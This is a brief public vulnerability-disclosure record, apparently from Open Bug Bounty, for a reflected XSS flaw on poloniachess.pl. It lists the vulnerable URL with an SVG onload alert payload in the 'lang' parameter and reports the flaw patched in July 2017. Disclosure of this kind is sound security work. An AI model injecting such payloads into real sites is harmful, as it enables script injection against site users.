poloniachess.pl XSS vulnerability

Vulnerable URL: http://www.poloniachess.pl/najdorf2010/index.php?lang=%22%3E%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E// Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:37 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...